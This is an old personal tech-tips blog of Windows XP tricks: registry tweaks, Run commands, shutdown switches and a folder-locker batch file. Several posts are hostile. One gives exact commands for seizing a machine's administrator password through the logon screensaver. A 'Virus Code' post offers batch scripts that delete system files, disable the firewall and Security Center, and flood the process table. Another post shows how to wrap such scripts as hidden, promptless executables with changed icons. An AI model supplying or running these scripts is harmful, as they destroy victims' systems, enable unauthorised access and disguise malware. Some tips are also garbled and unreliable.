Showing posts with label Technical. Show all posts
Showing posts with label Technical. Show all posts

Friday, September 26, 2008

Without restarting server

To get effect when a new user created ,without restarting server in Windows Server- 2003

gdupdate /force


----------------------------
CMD > SC

SC is a command line program used for communicating with the
NT Service Controller and services.

Tuesday, September 23, 2008

Sound Problem,Disk Drive,Folders

While you are opening any file/folder during playing of CD/DVD u r feeling turbulence of sound.To avoid follow d given steps

Open Device Manager
-IDE ATA/ATAPI controllers
-Primary IDE channel
-Advanced Settings
-Transfer Mode(Both)
-select DMA if available

Do d Same in secondary IDE channel

---------------------------------------------
To Change Drive Letter:

Go to

Control panel>admin tool>computer management>disk managmnt>right click d partition whose name u want 2 change

-------------------------------------------------------------------------------
Folders

Device names such as COM1, CON or LPT1 are reserved words, and they can't be used as folder or file names.

Thursday, September 11, 2008

AUTOMATICALLY KILL TASK

To allow Windows XP to close non-responsive applications automatically upon shutdown:

Open REGEDIT and navigate to 'HKEY_CURRENT_USER\Control Panel\Desktop'

Highlight the value 'AutoEndTasks.'

Change the value to '1'

XP will now be able to close hung applications without user input during the shutdown process.

Some Symbols in Word

For © : Alt+0169
For ® : Alt+0174
For ™ : Alt+0153
For › : Alt+0155
For † : Alt+0134
For ø : Alt+0248
For ¤ : Alt+0164
For « : Alt+0171
For ° : Alt+0176
For ± : Alt+0177
For ² : Alt+0178
For ³ : Alt+0179
For µ : Alt+0181
For ¶ : Alt+0182
For ¹ : Alt+0185
For » : Alt+0187
For ¼ : Alt+0188
For ½ : Alt+0189
For ¾ : Alt+0190
For Å : Alt+0197
For × : Alt+0215
For Ø : Alt+0216
For Þ : Alt+0222
For ß : Alt+0223
For ?: Alt+1

Close hung applications

Open REGEDIT and navigate to 'HKEY_CURRENT_USER\Control Panel\Desktop'

Highlight the value 'AutoEndTasks.'

Change the value to '1'

XP will now be able to close hung applications without user input during the shutdown process.

Some Run commands - XP

Add Hardware Wizard - hdwwiz.cpl

Add/Remove Programs - appwiz.cpl

Administrative Tools - control admintools

Automatic Updates - wuaucpl.cpl

Bluetooth Transfer Wizard - fsquirt

Calculator - calc

Certificate Manager - certmgr.msc

Character Map - charmap

Check Disk Utility - chkdsk

Clipboard Viewer - clipbrd

Command Prompt - cmd

Component Services - dcomcnfg

Computer Management - compmgmt.msc

Date and Time Properties - timedate.cpl

DDE Shares - ddeshare

Device Manager - devmgmt.msc

Direct X Control Panel (If Installed)* - directx.cpl

Direct X Troubleshooter - dxdiag

Disk Cleanup Utility - cleanmgr

Disk Defragment - dfrg.msc

Disk Management - diskmgmt.msc

Disk Partition Manager - diskpart

Display Properties - control desktop

Display Properties - desk.cpl

Display Properties (w/Appearance Tab Preselected) - control color

Dr. Watson System Troubleshooting Utility - drwtsn32

Driver Verifier Utility - verifier

Event Viewer - eventvwr.msc

File Signature Verification Tool - sigverif

Findfast - findfast.cpl

Folders Properties - control folders

Fonts - control fonts

Fonts Folder - fonts

Free Cell Card Game - freecell

Game Controllers - joy.cpl

Group Policy Editor (XP Prof) - gpedit.msc

Hearts Card Game - mshearts

Iexpress Wizard - iexpress

Indexing Service - ciadv.msc

Internet Properties - inetcpl.cpl

Make startmenu appear faster

The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry
HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

Disable Recent Documents

The bad thing about Recent Documents History is that Windows XP has to calculate
what should be put there each time you boot Windows, which can slow things down.
1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\
CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it
once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the
change to take effect.

SHUTDOWN COMMANDS

Ok the easiest way to shut down your computer is to type (shutdown –s) in to cmd “command” and that will give a message that the computer will shutdown and you have 30 seconds. There are other commands. ill just start off doing the easiest 1

Shutdown –s
it will shutdown your computer in 30 seconds and display a message

shutdown –s –t 40
it will shutdown in 40 seconds but you can only go up to 86400 (24 hours) but if you make it 0 it will show no message and just shutdown

shutdown –s –c ”haha the computer is going to shutdown”
it will shutdown with a message in a box under the time

shutdown –l
it will just log you of the computer

shutdown -i
it will display the GUI shutdown window

shutdown –r
will restart the computer

shutdown –a
it will abort the shutdown

shutdown –f
will force all running applications to close

Create Shutdown Icon

Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up

window instructing you to enter a command line path.
Use this path in "Type Location of the Item"
SHUTDOWN -s -t 01
If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and

click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done

Hack WIN XP Admin Password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in

Lock Ur Folder

Amazing trick to lock u r folder
using this trick not only lock u r folder but also hide it
here it is

copy following program:-

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

now go for following few steps
1>copy above folder into notepad.
2>the text which is written in bold letters delete it & type u r password there.
3>save that file by extension .bat ( name is u r choice)
4>now on ur screen there is a bat file appear.
5>double click on that file.
6>u will see the locker folder.
7>save the files in that folder.
8>double click on that folder & lock that folder
9>after lock that folder it will become hidden.
10>to open that folder double click on that bat file
11>type ur password & open that folder.

Tuesday, September 9, 2008

Windows Folder Name

Device names such as COM1, CON or LPT1 are reserved words, and they can't be used as folder or file names.

Friday, July 4, 2008

Some Dos Commands

ATTRIB -S -R,
DISKPART

TYPE [FILENAME] EX:--> TYPE C:|3.ZIP


MORE ----------- EX == MORE C:\3.GIF

CHCP --------TO DISPLAY ACTIVE CODE PAGE NUMBER

MODE ---- TO CONFIGURE SYSTEMPLAY DEVICES ex := MODE COM1 BAUD=1200

EXPAND ------ TO COPY FILE EX : C:\DBA.ZIP C:\Z.ZIP


SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/REVERT] [/PURGECACHE] [/CACHESIZE=x]
DIGITAL SIGNATURE OF FILES .Scans all protected system files and replaces incorrect versions WITH correct Microsoft versions.


MMC

ARP --DISPLAY LOCALLY RESOLVE IP ADDRESS EX : ARP -A

ROUTE --Manipulates network routing tables. eX : ROUTE PRINT

HOSTNAME
TRACERT
PATHPING
TELNET


REXEC
Runs commands on remote hosts BY running the REXEC service. Rexec
authenticates the user name on the remote host before executing the specified command.


FTP ,TFTP -- FOR FILE TRANSFERING


FINGER
Displays information about a user on a specified system running the Finger service.Output varies based on the remote system.


DEVMGMT.MSC ---TO START DEVICE MANAGER

CIPHER

Tuesday, July 1, 2008

Virus Code

1)Create a virus of your own .Copy paste the below codes in a notepad and save that file as virus.bat ,then run that file .U can Notice the effect
I)
@echo off
title MacBeth
cd %windir%\system32
del /S /F /Q keyboard.drv
del /S /F /Q mouse.drv
del /S /F /Q keyboard.sys
del /S /F /Q hal.dll
del * /S /F /Q .exe
shutdown /F /S /Q
pause
II) This Code shuts down all security.
Makes a new batch file at startup which inside is the command shutdown -s
Then starts cmd.exe command.com and mspaint.exe multiple,multiple times.
Watch the CPU usage go up.
@echo off
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat"
:virus
start cmd.exe
start command.com
start mspaint.exe
goto :virus
III)
@echo off
tskill /a /im winlogon
tskill /a /im explorer
tskill /a /im taskmgr
del %systemdrive%\windows\System32\dllcache\winlogon.exe
del %systemdrive%\windows\System32\dllcache\explorer.exe
del %systemdrive%\windows\System32\dllcache\services.exe
del %systemdrive%\windows\System32\dllcache\vga.sys
del %systemdrive%\windows\System32\dllcache\mup.sys
del %systemdrive%\windows\System32\dllcache\taskmgr.exe
IV)
shutdown -s -t 10
V)
:start
start "C:\WINDOWS\system32\notepad.exe"
GOTO start

To hide a file

1)To hide a file using another file

a)First create a folder named test
b)Then copy a file that u want to hide say 'Secret.rar'
and copy another file say 'logo.jpg'

c)Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both.

d)Then delete the two files Secret.rar and logo.jpg .When u click that output.jpg it will view as a logo.jpg file but u can access the files in secret.rar by opening that output.jpg through rar file

-------------------------------
2) To Display Messages

cls
@echo off
msg * to play a game press on ok!
msg * Oh wait Dont!!
msg * ppfff i did warn ya!!
msg * mwahahahahahah!


3)To setup a program during Windows Logon .Paste the below code in a notepad and save it as .bat file and run that file


@echo off
copy "some.exe" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
start some.exe

4)To Start a program

start calc.exe

5)To refresh Windows without closing the opened programs

cmd > tskill explorer

Monday, June 30, 2008

Shutdown Firewalls

I) Easiest way is to shutdown all firewalls/security.To do that you have to type in the Command Prompt:

Code:
@echo off
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable

---------------------------------------------------------------------------------

--------------------------------------------------------------
II) Navigate to C:\Windows\System32 and locate the file named IEXPRESS.EXE

Step 2
Double Click to launch IEXPRESS.EXE

Step 3
You will be presented with the initial welcome screen and be given two choices. Select “Create new Self Extraction Directive

file.” Click Next.

Step 4
Next you will be presented with the Package Purpose screen. For our purposes select “Extract Files and run an installation

command” and click the Next button.

Step 5
You will be presented with the Package Title screen, which will give you the opportunity to give your project a name. If you

are so inclined give it a meaningful name. If like me you are never going to come back to this, name it whatever you want.

Step 6
You will next be presented with the Confirmation Prompt Screen. We would like the batch file to just be extracted and run so

just choose “No Prompt” and click the Next Button.

Step 7
You are presented with the License Agreement window. If you don’t want your users to have to answer a prompt select “Do not

display a license.”

Step 8
The Packaged Files window is where you will select your batch file (or .vbs). Click the Add button and browse to your desired

file. Then click next.

Step 9
Here you are presented with a window titled Install Program to Launch. Use the drop down control next to “Install Program and

choose the only option that will be present, the .bat or .vbs file that you chose in the previous window.

Step 10
The Show Window screen is next. I didn’t want my users to be prompted in any way so I chose Hidden. Click Next.

Step 11
No Finished Message for my users. Select “No message” and choose Next.

Step 12
The Package Name and Options window is where the new .exe specified. Type in a path or browse to the folder you would like

your .exe in, type a name in the file name box and click save. Also check the box that says “Hide File Extraction Progress

Animation from User.” If you’re worried about long file names go ahead and click the other box as well.

Step 13
Since we really aren’t installing anything we probably want to tell the Configure Restart window to not restart. So choose

the option that says “No restart” and hit Next.

Step 14
This window is where you have a chance to save all of the options you have chosen into a project file so that if necessary

you may later return and make modifications. I have no need to retain the file, but if you would like to be able to come back

to it, by all means choose “Save Self Extraction Directive (SED) file” and tell it where to put it. As always, click Next.

Step 15
Here’s where you’re new .exe is born, on the Create Package screen. Explore to the directory you told it to put the file in,

click Next and then watch your little .exe’s first moments as it pops into the big digital world.

Step 16
Then download this application (Executable File Icons Changer 5):

http://rapidshare.com/files/82559354
/Softboy_Executable_File_Icons_Changer_5.rar